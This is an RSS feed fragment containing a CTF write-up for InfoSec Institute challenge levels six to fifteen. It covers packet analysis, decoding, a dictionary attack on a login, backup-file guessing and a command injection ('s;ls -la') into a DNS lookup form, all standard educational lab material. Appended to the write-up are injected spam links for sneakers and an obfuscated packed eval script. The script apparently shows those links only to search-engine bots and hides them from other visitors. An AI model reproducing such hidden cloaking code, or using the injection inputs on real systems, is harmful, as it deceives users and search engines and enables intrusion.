43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Level Six &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;“Do you want to download sharkfin.pcap file?” &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;It is is a pcap file which we need to analyse. After downloading the pcap and opening with Wireshark. The first thing I do is to look at the protocol hierarchy and that was the result.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/6_0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;We can see a lot of HTTPS data which probably will not be interested in since we can’t decrypt it. I filtered out all tcp&lt;br&gt; data using the following filter “!(tcp)” and there was a single udp packet. I followed the UDP stream and that was the stream content. “696e666f7365635f666c616769735f736e6966666564” &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Decoding the hex steam content that was the result &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;“infosec_flagis_sniffed”&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 9&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Level Seven &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Nothing appeared actually in the homepage. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;I opened the burp suite proxy to try to see the response coming from the server.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/7_0.png&quot; alt=&quot;&quot; width=&quot;700&quot; height=&quot;282&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;looks like we have some base64 data in the HTTP response reason field. Decoding the data we got this:&lt;br&gt; &lt;/span&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;“infosec_flagis_youfoundit” &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 10&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;Level Eight &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;“Do you want to download app.exe file?” &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;I downloaded the app.exe file. I thought first of reversing the app and see how it works. I was getting ready to run my windows VM and start the executable. However, I though of running the linux command “strings” quickly and see if I got any thing there. Indeed, I executed the command and that was the result.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/8_0.png&quot; alt=&quot;&quot; width=&quot;721&quot; height=&quot;442&quot;&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;The flag: infosec_flagis_0x1a&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 11&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Level Nine &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Login page with username and password &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;I first expected that this will be a sql injection and I should bypass the login. I tried different SQL injection vectors to login but didn’t receive any output. I then said it might be something easier than that. I tried some dictionary attack on the login page and the following credentials logged in successfully. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;username: root&lt;br&gt; password: attack&lt;br&gt; Once I logged in the output was&lt;br&gt; “ssaptluafed_sigalf_cesofni”&lt;br&gt; we can see that this is the flag but reversed. Reversing it again we have “&lt;/span&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;infosec_flagis_defaultpass” &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;The flags looks a bit weird for me. I searched the web for the cisco IDS default login credentials but couldn’t find anything. Actually my script took a lot of time running to find the username and password.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 12&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Level Ten &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;What kind of sound is this? Sorcery perhaps?? &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;I downloaded the audio file. I expected that the wave audio file might contain something hidden in one of its channels. I examined how many channels the wave file contains. It was only one channel which means probably nothing is hidden in the wave channels. I executed binwalk to see if there is any thing appended or inside the audio file. However, I didn’t manage to get anything. I checked the image on the challenge page it was stating “not listening”. I though then I should find away to listen to what is being played. I changed the playback speed to some values and was listening to the output. Indeed, when I changed the playback speed to 0.22X I managed to listen to &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;“infosec_flagis_sound” &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;The URL of the edited file is: http://st0rm.altervista.org/solved.wav &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Page 12 of 18 &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 13&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Level Eleven &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;No it must not be a sound? But wait whaT? [PHP logo] &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;I downloaded the php logo. and it was named “php-logo-virus.jpg” the name is very catchy so I believe it contains our flag. One of the main things to analyse when dealing with images is the exif data. http://regex.info/exif.cgi is one of the best websites to analyse the exif data of images. Using the regex.info website, we managed to extract the following “infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsa WRlX2xvZ29fbGFyZ2UuZ2lm%a0%86%01” from the “Document Name” in the exif data structure. We see part of the flag and the other part is encoded in base64. Decoding the base64 resulted in: “http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif” I visited the url and the image contain the word “powerslide”. Hence, our flag should be &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;Flag: infosec_flagis_powersilde&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 14&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;Level Twelve &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Question: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Dig deeper &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;I saw the same image in the first level. I then decided it will be a steganography challenge. I kept digging into the image with all possible ways but I couldn’t find anything. I actually wasted a couple of days in that. Then I decided to move away from the image and check the source code of the page. I checked the source code again to see if it was related to level 1 by any means. I couldn’t find anything obvious. I then decided to compare the html of the two pages to see if there any differences. I used the comparer tool in burp suite to see the difference and that was the result.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/12_0.png&quot; alt=&quot;&quot; width=&quot;1168&quot; height=&quot;406&quot;&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Hmmm. We see there is a new css was added to leveltweleve.php file. I decided to check that css file. Now, I started to see the relation between the two levels (Dig deeper indeed). The content of the CSS file was&lt;br&gt; .thisloveis{ &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;color: #696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72; } &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Looks very interesting. There is no colour with the following value and this looks like a hex value. Decoding the hex value we got: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;infosec_flagis_heyimnotacolor&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 15&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;Level Thirteen &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;What the heck happened here? It seems that the challenge here is gone? Can you find it? Can you check if you can find the backup file for this one? I&#039;m sorry for messing up :( &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;This challenge requires a bit of guessing to get the old file. Out of convention, developers usually name the old files as .old or .bak. or .backup. I tried to access http://ctf.infosecinstitute.com/levelthirteen.php.old and indeed I managed to access the old php file (backup). Opening the file in a text editor&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;&lt;img src=&quot;/sites/default/files/writeups/images/13_1.png&quot; alt=&quot;&quot; width=&quot;774&quot; height=&quot;447&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;We can see some interesting code commented out here. Our next step is to download the imadecoy file. I downloaded the file and directly executed the “file” command to know what file it is.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/13_2.png&quot; alt=&quot;&quot; width=&quot;1003&quot; height=&quot;74&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;As we can see, it is a pcap file. I opened the file with Wireshak and directly checked the protocol hierarchy. &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;&lt;img src=&quot;/sites/default/files/writeups/images/13_0.png&quot; alt=&quot;&quot; width=&quot;754&quot; height=&quot;423&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Helvetica; font-size: 12pt;&quot;&gt;As we can see most of the packets are DNS. I am not sure if that was noise packets or it contains our flag. I checked some DNS packets randomly but nothing catchy was there. Most of the queries were DNS queries to google.com.ph. I decided to exclude all DNS queries because I think they are only noise. After excluding them I saw some HTTP requests. I sorted the packets with size and the 4th packet was JPG image named HoneyPY.PNG. Looks very interesting. Dumping the image, I saw that&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Helvetica; font-size: 12pt;&quot;&gt;&lt;img src=&quot;/sites/default/files/writeups/images/13_4.png&quot; alt=&quot;&quot; width=&quot;624&quot; height=&quot;47&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 16&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;Flag: infosec_flagis_morepackets &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;page&quot; title=&quot;Page 17&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;Level Fourteen &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Do you want to download level14 file? &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;The challenge file was dump of database. Browsing the database dump, there were a lot of tables and records. I searched for the word “flag”. I found a table but it didn&lt;/span&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;ArialUnicodeMS&#039;;&quot;&gt;’&lt;/span&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;t contain anything interesting. However, after that table directly, there was a table named “friends” the fourth record of the table was some Unicode data, which looked very catchy. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;(104, &#039;\\u0069\\u006e\\u0066\\u006f\\u0073\\u0065\\u0063\\u005f\\u0066\\u006c\\u0061\\u0067\ \u0069\\u0073\\u005f\\u0077\\u0068\\u0061\\u0074\\u0073\\u006f\\u0072\\u0063\\u0065\\ u0072\\u0079\\u0069\\u0073\\u0074\\u0068\\u0069\\u0073&#039;, &#039;annoying&#039;, ‘0x0a&#039;);&lt;br&gt; I decoded the unicode data and it was &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;infosec_flagis_whatsorceryisthis&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;page&quot; title=&quot;Page 18&quot;&gt;&lt;div class=&quot;layoutArea&quot;&gt;&lt;div class=&quot;column&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(17.254900%, 43.529410%, 58.431380%);&quot;&gt;&lt;br&gt;&lt;br&gt;Level Fifteen &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Challenge &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;“DNS Lookup” &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold; color: rgb(28.627450%, 60.784320%, 78.823530%);&quot;&gt;Solution &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;I entered google.com to see the output and it was the output of the dig command. I expected that we have Remote Code Execution vulnerability here. I expected that the developer coded this in away similar to &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;system(“dig”.$_GET[‘dig’]);&lt;br&gt; I tried to give the following input “s;ls -la” and that was the result&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/15_0.png&quot; alt=&quot;&quot; width=&quot;1004&quot; height=&quot;493&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;Indeed, it executed our command. We can see the hidden file “.hey”. I “catted” the content of the .hey file and it was “Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC”&lt;br&gt; The string looks encrypted/encoded in some way. I tried to decode the string with many things like Base16, Base32, Base64, Base91, Base58, Base85 and Caesar but it didn’t work. I noticed the ZlibC that appended to the end of the file. I though that this is a kind of a hint. I kept googling about the Zlibc and trying to find any relation between it and the given text. After a couple of days googling, I tried an encoding technique called ATOM-128 on that website http://crypo.in.ua/tools/eng_base64c.php and indeed it decoded the text which was &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;; font-weight: bold;&quot;&gt;infosec_flagis_rceatomized &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12.000000pt; font-family: &#039;Helvetica&#039;;&quot;&gt;We searched for what atom-128 means and according to the following question on stackoverflow.com, it is a special type of base64 encoding in which a different order of characters is used.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.nikesneakers.org/&quot;&gt;Best Nike Sneakers&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.oft.gov.gi/index.php/eeagcnshop/fr/fr/nike-homme&quot;&gt;NIKE  HOMME&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 23 Mar 2015 23:09:43 +0000</pubDate>
 <dc:creator>the_storm</dc:creator>
 <guid isPermaLink="false">99 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/99#comments</comments>
</item>
<item>
 <title>Wood Island (Crypto - 150)</title>
 <link>https://ctfcrew.org/writeup/98</link>
